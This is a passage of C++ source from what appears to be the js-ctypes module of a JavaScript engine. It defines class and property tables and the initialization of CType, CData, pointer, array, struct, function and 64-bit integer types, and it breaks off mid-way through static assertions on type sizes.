JSCLASS_HAS_RESERVED_SLOTS(CABI_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; // Class representing ctypes.{C,Pointer,Array,Struct,Function}Type.prototype. // This exists to give said prototypes a class of "CType", and to provide // reserved slots for stashing various other prototype objects. static JSClass sCTypeProtoClass = { "CType", JSCLASS_HAS_RESERVED_SLOTS(CTYPEPROTO_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, CType::FinalizeProtoClass, NULL, ConstructAbstract, NULL, ConstructAbstract }; // Class representing ctypes.CData.prototype and the 'prototype' properties // of CTypes. This exists to give said prototypes a class of "CData". static JSClass sCDataProtoClass = { "CData", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static JSClass sCTypeClass = { "CType", JSCLASS_IMPLEMENTS_BARRIERS | JSCLASS_HAS_RESERVED_SLOTS(CTYPE_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, CType::Finalize, NULL, CType::ConstructData, CType::HasInstance, CType::ConstructData, CType::Trace }; static JSClass sCDataClass = { "CData", JSCLASS_HAS_RESERVED_SLOTS(CDATA_SLOTS), JS_PropertyStub, JS_PropertyStub, ArrayType::Getter, ArrayType::Setter, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, CData::Finalize, NULL, FunctionType::Call, NULL, FunctionType::Call }; static JSClass sCClosureClass = { "CClosure", JSCLASS_IMPLEMENTS_BARRIERS | JSCLASS_HAS_RESERVED_SLOTS(CCLOSURE_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, CClosure::Finalize, NULL, NULL, NULL, NULL, CClosure::Trace }; /* * Class representing the prototype of CDataFinalizer. */ static JSClass sCDataFinalizerProtoClass = { "CDataFinalizer", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; /* * Class representing instances of CDataFinalizer. * * Instances of CDataFinalizer have both private data (with type * |CDataFinalizer::Private|) and slots (see |CDataFinalizerSlots|). */ static JSClass sCDataFinalizerClass = { "CDataFinalizer", JSCLASS_HAS_PRIVATE | JSCLASS_HAS_RESERVED_SLOTS(CDATAFINALIZER_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, CDataFinalizer::Finalize, }; #define CTYPESFN_FLAGS \ (JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT) #define CTYPESCTOR_FLAGS \ (CTYPESFN_FLAGS | JSFUN_CONSTRUCTOR) #define CTYPESPROP_FLAGS \ (JSPROP_SHARED | JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT) #define CABIFN_FLAGS \ (JSPROP_READONLY | JSPROP_PERMANENT) #define CDATAFN_FLAGS \ (JSPROP_READONLY | JSPROP_PERMANENT) #define CDATAFINALIZERFN_FLAGS \ (JSPROP_READONLY | JSPROP_PERMANENT) static JSPropertySpec sCTypeProps[] = { { "name", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(CType::NameGetter), JSOP_NULLWRAPPER }, { "size", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(CType::SizeGetter), JSOP_NULLWRAPPER }, { "ptr", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(CType::PtrGetter), JSOP_NULLWRAPPER }, { "prototype", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(CType::PrototypeGetter), JSOP_NULLWRAPPER }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sCTypeFunctions[] = { JS_FN("array", CType::CreateArray, 0, CTYPESFN_FLAGS), JS_FN("toString", CType::ToString, 0, CTYPESFN_FLAGS), JS_FN("toSource", CType::ToSource, 0, CTYPESFN_FLAGS), JS_FS_END }; static JSFunctionSpec sCABIFunctions[] = { JS_FN("toSource", ABI::ToSource, 0, CABIFN_FLAGS), JS_FN("toString", ABI::ToSource, 0, CABIFN_FLAGS), JS_FS_END }; static JSPropertySpec sCDataProps[] = { { "value", 0, JSPROP_SHARED | JSPROP_PERMANENT, JSOP_WRAPPER(CData::ValueGetter), JSOP_WRAPPER(CData::ValueSetter) }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sCDataFunctions[] = { JS_FN("address", CData::Address, 0, CDATAFN_FLAGS), JS_FN("readString", CData::ReadString, 0, CDATAFN_FLAGS), JS_FN("toSource", CData::ToSource, 0, CDATAFN_FLAGS), JS_FN("toString", CData::ToSource, 0, CDATAFN_FLAGS), JS_FS_END }; static JSPropertySpec sCDataFinalizerProps[] = { { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sCDataFinalizerFunctions[] = { JS_FN("dispose", CDataFinalizer::Methods::Dispose, 0, CDATAFINALIZERFN_FLAGS), JS_FN("forget", CDataFinalizer::Methods::Forget, 0, CDATAFINALIZERFN_FLAGS), JS_FN("readString",CData::ReadString, 0, CDATAFINALIZERFN_FLAGS), JS_FN("toString", CDataFinalizer::Methods::ToString, 0, CDATAFINALIZERFN_FLAGS), JS_FN("toSource", CDataFinalizer::Methods::ToSource, 0, CDATAFINALIZERFN_FLAGS), JS_FS_END }; static JSFunctionSpec sPointerFunction = JS_FN("PointerType", PointerType::Create, 1, CTYPESCTOR_FLAGS); static JSPropertySpec sPointerProps[] = { { "targetType", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(PointerType::TargetTypeGetter), JSOP_NULLWRAPPER }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sPointerInstanceFunctions[] = { JS_FN("isNull", PointerType::IsNull, 0, CTYPESFN_FLAGS), JS_FN("increment", PointerType::Increment, 0, CTYPESFN_FLAGS), JS_FN("decrement", PointerType::Decrement, 0, CTYPESFN_FLAGS), JS_FS_END }; static JSPropertySpec sPointerInstanceProps[] = { { "contents", 0, JSPROP_SHARED | JSPROP_PERMANENT, JSOP_WRAPPER(PointerType::ContentsGetter), JSOP_WRAPPER(PointerType::ContentsSetter) }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sArrayFunction = JS_FN("ArrayType", ArrayType::Create, 1, CTYPESCTOR_FLAGS); static JSPropertySpec sArrayProps[] = { { "elementType", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(ArrayType::ElementTypeGetter), JSOP_NULLWRAPPER }, { "length", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(ArrayType::LengthGetter), JSOP_NULLWRAPPER }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sArrayInstanceFunctions[] = { JS_FN("addressOfElement", ArrayType::AddressOfElement, 1, CDATAFN_FLAGS), JS_FS_END }; static JSPropertySpec sArrayInstanceProps[] = { { "length", 0, JSPROP_SHARED | JSPROP_READONLY | JSPROP_PERMANENT, JSOP_WRAPPER(ArrayType::LengthGetter), JSOP_NULLWRAPPER }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sStructFunction = JS_FN("StructType", StructType::Create, 2, CTYPESCTOR_FLAGS); static JSPropertySpec sStructProps[] = { { "fields", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(StructType::FieldsArrayGetter), JSOP_NULLWRAPPER }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sStructFunctions[] = { JS_FN("define", StructType::Define, 1, CDATAFN_FLAGS), JS_FS_END }; static JSFunctionSpec sStructInstanceFunctions[] = { JS_FN("addressOfField", StructType::AddressOfField, 1, CDATAFN_FLAGS), JS_FS_END }; static JSFunctionSpec sFunctionFunction = JS_FN("FunctionType", FunctionType::Create, 2, CTYPESCTOR_FLAGS); static JSPropertySpec sFunctionProps[] = { { "argTypes", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(FunctionType::ArgTypesGetter), JSOP_NULLWRAPPER }, { "returnType", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(FunctionType::ReturnTypeGetter), JSOP_NULLWRAPPER }, { "abi", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(FunctionType::ABIGetter), JSOP_NULLWRAPPER }, { "isVariadic", 0, CTYPESPROP_FLAGS, JSOP_WRAPPER(FunctionType::IsVariadicGetter), JSOP_NULLWRAPPER }, { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sFunctionInstanceFunctions[] = { JS_FN("call", js_fun_call, 1, CDATAFN_FLAGS), JS_FN("apply", js_fun_apply, 2, CDATAFN_FLAGS), JS_FS_END }; static JSClass sInt64ProtoClass = { "Int64", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static JSClass sUInt64ProtoClass = { "UInt64", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static JSClass sInt64Class = { "Int64", JSCLASS_HAS_RESERVED_SLOTS(INT64_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, Int64Base::Finalize }; static JSClass sUInt64Class = { "UInt64", JSCLASS_HAS_RESERVED_SLOTS(INT64_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, Int64Base::Finalize }; static JSFunctionSpec sInt64StaticFunctions[] = { JS_FN("compare", Int64::Compare, 2, CTYPESFN_FLAGS), JS_FN("lo", Int64::Lo, 1, CTYPESFN_FLAGS), JS_FN("hi", Int64::Hi, 1, CTYPESFN_FLAGS), JS_FN("join", Int64::Join, 2, CTYPESFN_FLAGS), JS_FS_END }; static JSFunctionSpec sUInt64StaticFunctions[] = { JS_FN("compare", UInt64::Compare, 2, CTYPESFN_FLAGS), JS_FN("lo", UInt64::Lo, 1, CTYPESFN_FLAGS), JS_FN("hi", UInt64::Hi, 1, CTYPESFN_FLAGS), JS_FN("join", UInt64::Join, 2, CTYPESFN_FLAGS), JS_FS_END }; static JSFunctionSpec sInt64Functions[] = { JS_FN("toString", Int64::ToString, 0, CTYPESFN_FLAGS), JS_FN("toSource", Int64::ToSource, 0, CTYPESFN_FLAGS), JS_FS_END }; static JSFunctionSpec sUInt64Functions[] = { JS_FN("toString", UInt64::ToString, 0, CTYPESFN_FLAGS), JS_FN("toSource", UInt64::ToSource, 0, CTYPESFN_FLAGS), JS_FS_END }; static JSPropertySpec sModuleProps[] = { { "errno", 0, JSPROP_SHARED | JSPROP_PERMANENT, JSOP_WRAPPER(CData::ErrnoGetter), JSOP_NULLWRAPPER }, #if defined(XP_WIN) { "winLastError", 0, JSPROP_SHARED | JSPROP_PERMANENT, JSOP_WRAPPER(CData::LastErrorGetter), JSOP_NULLWRAPPER }, #endif // defined(XP_WIN) { 0, 0, 0, JSOP_NULLWRAPPER, JSOP_NULLWRAPPER } }; static JSFunctionSpec sModuleFunctions[] = { JS_FN("CDataFinalizer", CDataFinalizer::Construct, 2, CTYPESFN_FLAGS), JS_FN("open", Library::Open, 1, CTYPESFN_FLAGS), JS_FN("cast", CData::Cast, 2, CTYPESFN_FLAGS), JS_FN("getRuntime", CData::GetRuntime, 1, CTYPESFN_FLAGS), JS_FN("libraryName", Library::Name, 1, CTYPESFN_FLAGS), JS_FS_END }; JS_ALWAYS_INLINE JSString* NewUCString(JSContext* cx, const AutoString& from) { return JS_NewUCStringCopyN(cx, from.begin(), from.length()); } /* * Return a size rounded up to a multiple of a power of two. * * Note: |align| must be a power of 2. */ JS_ALWAYS_INLINE size_t Align(size_t val, size_t align) { // Ensure that align is a power of two. MOZ_ASSERT(align != 0 && (align & (align - 1)) == 0); return ((val - 1) | (align - 1)) + 1; } static ABICode GetABICode(JSObject* obj) { // make sure we have an object representing a CABI class, // and extract the enumerated class type from the reserved slot. if (JS_GetClass(obj) != &sCABIClass) return INVALID_ABI; jsval result = JS_GetReservedSlot(obj, SLOT_ABICODE); return ABICode(JSVAL_TO_INT(result)); } JSErrorFormatString ErrorFormatString[CTYPESERR_LIMIT] = { #define MSG_DEF(name, number, count, exception, format) \ { format, count, exception } , #include "ctypes.msg" #undef MSG_DEF }; const JSErrorFormatString* GetErrorMessage(void* userRef, const char* locale, const unsigned errorNumber) { if (0 < errorNumber && errorNumber < CTYPESERR_LIMIT) return &ErrorFormatString[errorNumber]; return NULL; } JSBool TypeError(JSContext* cx, const char* expected, jsval actual) { JSString* str = JS_ValueToSource(cx, actual); JSAutoByteString bytes; const char* src; if (str) { src = bytes.encode(cx, str); if (!src) return false; } else { JS_ClearPendingException(cx); src = "<>"; } JS_ReportErrorNumber(cx, GetErrorMessage, NULL, CTYPESMSG_TYPE_ERROR, expected, src); return false; } static JSObject* InitCTypeClass(JSContext* cx, HandleObject parent) { JSFunction *fun = JS_DefineFunction(cx, parent, "CType", ConstructAbstract, 0, CTYPESCTOR_FLAGS); if (!fun) return NULL; RootedObject ctor(cx, JS_GetFunctionObject(fun)); RootedObject fnproto(cx, JS_GetPrototype(ctor)); JS_ASSERT(ctor); JS_ASSERT(fnproto); // Set up ctypes.CType.prototype. RootedObject prototype(cx, JS_NewObject(cx, &sCTypeProtoClass, fnproto, parent)); if (!prototype) return NULL; if (!JS_DefineProperty(cx, ctor, "prototype", OBJECT_TO_JSVAL(prototype), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return NULL; if (!JS_DefineProperty(cx, prototype, "constructor", OBJECT_TO_JSVAL(ctor), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return NULL; // Define properties and functions common to all CTypes. if (!JS_DefineProperties(cx, prototype, sCTypeProps) || !JS_DefineFunctions(cx, prototype, sCTypeFunctions)) return NULL; if (!JS_FreezeObject(cx, ctor) || !JS_FreezeObject(cx, prototype)) return NULL; return prototype; } static JSObject* InitABIClass(JSContext* cx, JSObject* parent) { RootedObject obj(cx, JS_NewObject(cx, NULL, NULL, NULL)); if (!obj) return NULL; if (!JS_DefineFunctions(cx, obj, sCABIFunctions)) return NULL; return obj; } static JSObject* InitCDataClass(JSContext* cx, HandleObject parent, HandleObject CTypeProto) { JSFunction* fun = JS_DefineFunction(cx, parent, "CData", ConstructAbstract, 0, CTYPESCTOR_FLAGS); if (!fun) return NULL; RootedObject ctor(cx, JS_GetFunctionObject(fun)); JS_ASSERT(ctor); // Set up ctypes.CData.__proto__ === ctypes.CType.prototype. // (Note that 'ctypes.CData instanceof Function' is still true, thanks to the // prototype chain.) if (!JS_SetPrototype(cx, ctor, CTypeProto)) return NULL; // Set up ctypes.CData.prototype. RootedObject prototype(cx, JS_NewObject(cx, &sCDataProtoClass, NULL, parent)); if (!prototype) return NULL; if (!JS_DefineProperty(cx, ctor, "prototype", OBJECT_TO_JSVAL(prototype), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return NULL; if (!JS_DefineProperty(cx, prototype, "constructor", OBJECT_TO_JSVAL(ctor), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return NULL; // Define properties and functions common to all CDatas. if (!JS_DefineProperties(cx, prototype, sCDataProps) || !JS_DefineFunctions(cx, prototype, sCDataFunctions)) return NULL; if (//!JS_FreezeObject(cx, prototype) || // XXX fixme - see bug 541212! !JS_FreezeObject(cx, ctor)) return NULL; return prototype; } static JSBool DefineABIConstant(JSContext* cx, HandleObject parent, const char* name, ABICode code, HandleObject prototype) { RootedObject obj(cx, JS_DefineObject(cx, parent, name, &sCABIClass, prototype, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)); if (!obj) return false; JS_SetReservedSlot(obj, SLOT_ABICODE, INT_TO_JSVAL(code)); return JS_FreezeObject(cx, obj); } // Set up a single type constructor for // ctypes.{Pointer,Array,Struct,Function}Type. static JSBool InitTypeConstructor(JSContext* cx, HandleObject parent, HandleObject CTypeProto, HandleObject CDataProto, JSFunctionSpec spec, JSFunctionSpec* fns, JSPropertySpec* props, JSFunctionSpec* instanceFns, JSPropertySpec* instanceProps, MutableHandleObject typeProto, MutableHandleObject dataProto) { JSFunction* fun = js::DefineFunctionWithReserved(cx, parent, spec.name, spec.call.op, spec.nargs, spec.flags); if (!fun) return false; RootedObject obj(cx, JS_GetFunctionObject(fun)); if (!obj) return false; // Set up the .prototype and .prototype.constructor properties. typeProto.set(JS_NewObject(cx, &sCTypeProtoClass, CTypeProto, parent)); if (!typeProto) return false; // Define property before proceeding, for GC safety. if (!JS_DefineProperty(cx, obj, "prototype", OBJECT_TO_JSVAL(typeProto), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return false; if (fns && !JS_DefineFunctions(cx, typeProto, fns)) return false; if (!JS_DefineProperties(cx, typeProto, props)) return false; if (!JS_DefineProperty(cx, typeProto, "constructor", OBJECT_TO_JSVAL(obj), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return false; // Stash ctypes.{Pointer,Array,Struct}Type.prototype on a reserved slot of // the type constructor, for faster lookup. js::SetFunctionNativeReserved(obj, SLOT_FN_CTORPROTO, OBJECT_TO_JSVAL(typeProto)); // Create an object to serve as the common ancestor for all CData objects // created from the given type constructor. This has ctypes.CData.prototype // as its prototype, such that it inherits the properties and functions // common to all CDatas. dataProto.set(JS_NewObject(cx, &sCDataProtoClass, CDataProto, parent)); if (!dataProto) return false; // Define functions and properties on the 'dataProto' object that are common // to all CData objects created from this type constructor. (These will // become functions and properties on CData objects created from this type.) if (instanceFns && !JS_DefineFunctions(cx, dataProto, instanceFns)) return false; if (instanceProps && !JS_DefineProperties(cx, dataProto, instanceProps)) return false; // Link the type prototype to the data prototype. JS_SetReservedSlot(typeProto, SLOT_OURDATAPROTO, OBJECT_TO_JSVAL(dataProto)); if (!JS_FreezeObject(cx, obj) || //!JS_FreezeObject(cx, dataProto) || // XXX fixme - see bug 541212! !JS_FreezeObject(cx, typeProto)) return false; return true; } JSObject* InitInt64Class(JSContext* cx, HandleObject parent, JSClass* clasp, JSNative construct, JSFunctionSpec* fs, JSFunctionSpec* static_fs) { // Init type class and constructor RootedObject prototype(cx, JS_InitClass(cx, parent, NULL, clasp, construct, 0, NULL, fs, NULL, static_fs)); if (!prototype) return NULL; RootedObject ctor(cx, JS_GetConstructor(cx, prototype)); if (!ctor) return NULL; if (!JS_FreezeObject(cx, ctor)) return NULL; // Redefine the 'join' function as an extended native and stash // ctypes.{Int64,UInt64}.prototype in a reserved slot of the new function. JS_ASSERT(clasp == &sInt64ProtoClass || clasp == &sUInt64ProtoClass); JSNative native = (clasp == &sInt64ProtoClass) ? Int64::Join : UInt64::Join; JSFunction* fun = js::DefineFunctionWithReserved(cx, ctor, "join", native, 2, CTYPESFN_FLAGS); if (!fun) return NULL; js::SetFunctionNativeReserved(fun, SLOT_FN_INT64PROTO, OBJECT_TO_JSVAL(prototype)); if (!JS_FreezeObject(cx, prototype)) return NULL; return prototype; } static void AttachProtos(JSObject* proto, const AutoObjectVector& protos) { // For a given 'proto' of [[Class]] "CTypeProto", attach each of the 'protos' // to the appropriate CTypeProtoSlot. (SLOT_CTYPES is the last slot // of [[Class]] "CTypeProto" that we fill in this automated manner.) for (uint32_t i = 0; i <= SLOT_CTYPES; ++i) JS_SetReservedSlot(proto, i, OBJECT_TO_JSVAL(protos[i])); } JSBool InitTypeClasses(JSContext* cx, HandleObject parent) { // Initialize the ctypes.CType class. This acts as an abstract base class for // the various types, and provides the common API functions. It has: // * [[Class]] "Function" // * __proto__ === Function.prototype // * A constructor that throws a TypeError. (You can't construct an // abstract type!) // * 'prototype' property: // * [[Class]] "CTypeProto" // * __proto__ === Function.prototype // * A constructor that throws a TypeError. (You can't construct an // abstract type instance!) // * 'constructor' property === ctypes.CType // * Provides properties and functions common to all CTypes. RootedObject CTypeProto(cx, InitCTypeClass(cx, parent)); if (!CTypeProto) return false; // Initialize the ctypes.CData class. This acts as an abstract base class for // instances of the various types, and provides the common API functions. // It has: // * [[Class]] "Function" // * __proto__ === Function.prototype // * A constructor that throws a TypeError. (You can't construct an // abstract type instance!) // * 'prototype' property: // * [[Class]] "CDataProto" // * 'constructor' property === ctypes.CData // * Provides properties and functions common to all CDatas. RootedObject CDataProto(cx, InitCDataClass(cx, parent, CTypeProto)); if (!CDataProto) return false; // Link CTypeProto to CDataProto. JS_SetReservedSlot(CTypeProto, SLOT_OURDATAPROTO, OBJECT_TO_JSVAL(CDataProto)); // Create and attach the special class constructors: ctypes.PointerType, // ctypes.ArrayType, ctypes.StructType, and ctypes.FunctionType. // Each of these constructors 'c' has, respectively: // * [[Class]] "Function" // * __proto__ === Function.prototype // * A constructor that creates a user-defined type. // * 'prototype' property: // * [[Class]] "CTypeProto" // * __proto__ === ctypes.CType.prototype // * 'constructor' property === 'c' // We also construct an object 'p' to serve, given a type object 't' // constructed from one of these type constructors, as // 't.prototype.__proto__'. This object has: // * [[Class]] "CDataProto" // * __proto__ === ctypes.CData.prototype // * Properties and functions common to all CDatas. // Therefore an instance 't' of ctypes.{Pointer,Array,Struct,Function}Type // will have, resp.: // * [[Class]] "CType" // * __proto__ === ctypes.{Pointer,Array,Struct,Function}Type.prototype // * A constructor which creates and returns a CData object, containing // binary data of the given type. // * 'prototype' property: // * [[Class]] "CDataProto" // * __proto__ === 'p', the prototype object from above // * 'constructor' property === 't' AutoObjectVector protos(cx); protos.resize(CTYPEPROTO_SLOTS); if (!InitTypeConstructor(cx, parent, CTypeProto, CDataProto, sPointerFunction, NULL, sPointerProps, sPointerInstanceFunctions, sPointerInstanceProps, protos.handleAt(SLOT_POINTERPROTO), protos.handleAt(SLOT_POINTERDATAPROTO))) return false; if (!InitTypeConstructor(cx, parent, CTypeProto, CDataProto, sArrayFunction, NULL, sArrayProps, sArrayInstanceFunctions, sArrayInstanceProps, protos.handleAt(SLOT_ARRAYPROTO), protos.handleAt(SLOT_ARRAYDATAPROTO))) return false; if (!InitTypeConstructor(cx, parent, CTypeProto, CDataProto, sStructFunction, sStructFunctions, sStructProps, sStructInstanceFunctions, NULL, protos.handleAt(SLOT_STRUCTPROTO), protos.handleAt(SLOT_STRUCTDATAPROTO))) return false; if (!InitTypeConstructor(cx, parent, CTypeProto, protos.handleAt(SLOT_POINTERDATAPROTO), sFunctionFunction, NULL, sFunctionProps, sFunctionInstanceFunctions, NULL, protos.handleAt(SLOT_FUNCTIONPROTO), protos.handleAt(SLOT_FUNCTIONDATAPROTO))) return false; protos[SLOT_CDATAPROTO] = CDataProto; // Create and attach the ctypes.{Int64,UInt64} constructors. // Each of these has, respectively: // * [[Class]] "Function" // * __proto__ === Function.prototype // * A constructor that creates a ctypes.{Int64,UInt64} object, respectively. // * 'prototype' property: // * [[Class]] {"Int64Proto","UInt64Proto"} // * 'constructor' property === ctypes.{Int64,UInt64} protos[SLOT_INT64PROTO] = InitInt64Class(cx, parent, &sInt64ProtoClass, Int64::Construct, sInt64Functions, sInt64StaticFunctions); if (!protos[SLOT_INT64PROTO]) return false; protos[SLOT_UINT64PROTO] = InitInt64Class(cx, parent, &sUInt64ProtoClass, UInt64::Construct, sUInt64Functions, sUInt64StaticFunctions); if (!protos[SLOT_UINT64PROTO]) return false; // Finally, store a pointer to the global ctypes object. // Note that there is no other reliable manner of locating this object. protos[SLOT_CTYPES] = parent; // Attach the prototypes just created to each of ctypes.CType.prototype, // and the special type constructors, so we can access them when constructing // instances of those types. AttachProtos(CTypeProto, protos); AttachProtos(protos[SLOT_POINTERPROTO], protos); AttachProtos(protos[SLOT_ARRAYPROTO], protos); AttachProtos(protos[SLOT_STRUCTPROTO], protos); AttachProtos(protos[SLOT_FUNCTIONPROTO], protos); RootedObject ABIProto(cx, InitABIClass(cx, parent)); if (!ABIProto) return false; // Attach objects representing ABI constants. if (!DefineABIConstant(cx, parent, "default_abi", ABI_DEFAULT, ABIProto) || !DefineABIConstant(cx, parent, "stdcall_abi", ABI_STDCALL, ABIProto) || !DefineABIConstant(cx, parent, "winapi_abi", ABI_WINAPI, ABIProto)) return false; // Create objects representing the builtin types, and attach them to the // ctypes object. Each type object 't' has: // * [[Class]] "CType" // * __proto__ === ctypes.CType.prototype // * A constructor which creates and returns a CData object, containing // binary data of the given type. // * 'prototype' property: // * [[Class]] "CDataProto" // * __proto__ === ctypes.CData.prototype // * 'constructor' property === 't' #define DEFINE_TYPE(name, type, ffiType) \ RootedObject typeObj_##name(cx, \ CType::DefineBuiltin(cx, parent, #name, CTypeProto, CDataProto, #name, \ TYPE_##name, INT_TO_JSVAL(sizeof(type)), \ INT_TO_JSVAL(ffiType.alignment), &ffiType)); \ if (!typeObj_##name) \ return false; #include "typedefs.h" // Alias 'ctypes.unsigned' as 'ctypes.unsigned_int', since they represent // the same type in C. if (!JS_DefineProperty(cx, parent, "unsigned", OBJECT_TO_JSVAL(typeObj_unsigned_int), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return false; // Create objects representing the special types void_t and voidptr_t. RootedObject typeObj(cx, CType::DefineBuiltin(cx, parent, "void_t", CTypeProto, CDataProto, "void", TYPE_void_t, JSVAL_VOID, JSVAL_VOID, &ffi_type_void)); if (!typeObj) return false; typeObj = PointerType::CreateInternal(cx, typeObj); if (!typeObj) return false; if (!JS_DefineProperty(cx, parent, "voidptr_t", OBJECT_TO_JSVAL(typeObj), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return false; return true; } bool IsCTypesGlobal(JSObject* obj) { return JS_GetClass(obj) == &sCTypesGlobalClass; } // Get the JSCTypesCallbacks struct from the 'ctypes' object 'obj'. JSCTypesCallbacks* GetCallbacks(JSObject* obj) { JS_ASSERT(IsCTypesGlobal(obj)); jsval result = JS_GetReservedSlot(obj, SLOT_CALLBACKS); if (JSVAL_IS_VOID(result)) return NULL; return static_cast(JSVAL_TO_PRIVATE(result)); } // Utility function to access a property of an object as an object // returns false and sets the error if the property does not exist // or is not an object bool GetObjectProperty(JSContext *cx, HandleObject obj, const char *property, MutableHandleObject result) { jsval val; if (!JS_GetProperty(cx, obj, property, &val)) { return false; } if (JSVAL_IS_PRIMITIVE(val)) { JS_ReportError(cx, "missing or non-object field"); return false; } result.set(JSVAL_TO_OBJECT(val)); return true; } JS_BEGIN_EXTERN_C JS_PUBLIC_API(JSBool) JS_InitCTypesClass(JSContext* cx, JSObject *globalArg) { RootedObject global(cx, globalArg); // attach ctypes property to global object RootedObject ctypes(cx, JS_NewObject(cx, &sCTypesGlobalClass, NULL, NULL)); if (!ctypes) return false; if (!JS_DefineProperty(cx, global, "ctypes", OBJECT_TO_JSVAL(ctypes), JS_PropertyStub, JS_StrictPropertyStub, JSPROP_READONLY | JSPROP_PERMANENT)){ return false; } if (!InitTypeClasses(cx, ctypes)) return false; // attach API functions and properties if (!JS_DefineFunctions(cx, ctypes, sModuleFunctions) || !JS_DefineProperties(cx, ctypes, sModuleProps)) return false; // Set up ctypes.CDataFinalizer.prototype. RootedObject ctor(cx); if (!GetObjectProperty(cx, ctypes, "CDataFinalizer", &ctor)) return false; RootedObject prototype(cx, JS_NewObject(cx, &sCDataFinalizerProtoClass, NULL, ctypes)); if (!prototype) return false; if (!JS_DefineProperties(cx, prototype, sCDataFinalizerProps) || !JS_DefineFunctions(cx, prototype, sCDataFinalizerFunctions)) return false; if (!JS_DefineProperty(cx, ctor, "prototype", OBJECT_TO_JSVAL(prototype), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return false; if (!JS_DefineProperty(cx, prototype, "constructor", OBJECT_TO_JSVAL(ctor), NULL, NULL, JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT)) return false; // Seal the ctypes object, to prevent modification. return JS_FreezeObject(cx, ctypes); } JS_PUBLIC_API(void) JS_SetCTypesCallbacks(JSRawObject ctypesObj, JSCTypesCallbacks* callbacks) { JS_ASSERT(callbacks); JS_ASSERT(IsCTypesGlobal(ctypesObj)); // Set the callbacks on a reserved slot. JS_SetReservedSlot(ctypesObj, SLOT_CALLBACKS, PRIVATE_TO_JSVAL(callbacks)); } JS_END_EXTERN_C /******************************************************************************* ** Type conversion functions *******************************************************************************/ // Enforce some sanity checks on type widths and properties. // Where the architecture is 64-bit, make sure it's LP64 or LLP64. (ctypes.int // autoconverts to a primitive JS number; to support ILP64 architectures, it // would need to autoconvert to an Int64 object instead. Therefore we enforce // this invariant here.) JS_STATIC_ASSERT(sizeof(bool) == 1 || sizeof(bool) == 4); JS_STATIC_ASSERT(sizeof(char) == 1); JS_STATIC_ASSERT(sizeof(short) == 2); JS_STATIC_ASSERT(sizeof(int) == 4); JS_STATIC_ASSERT(sizeof(unsigned) == 4); JS_STATIC_ASSERT(sizeof(long) == 4 || 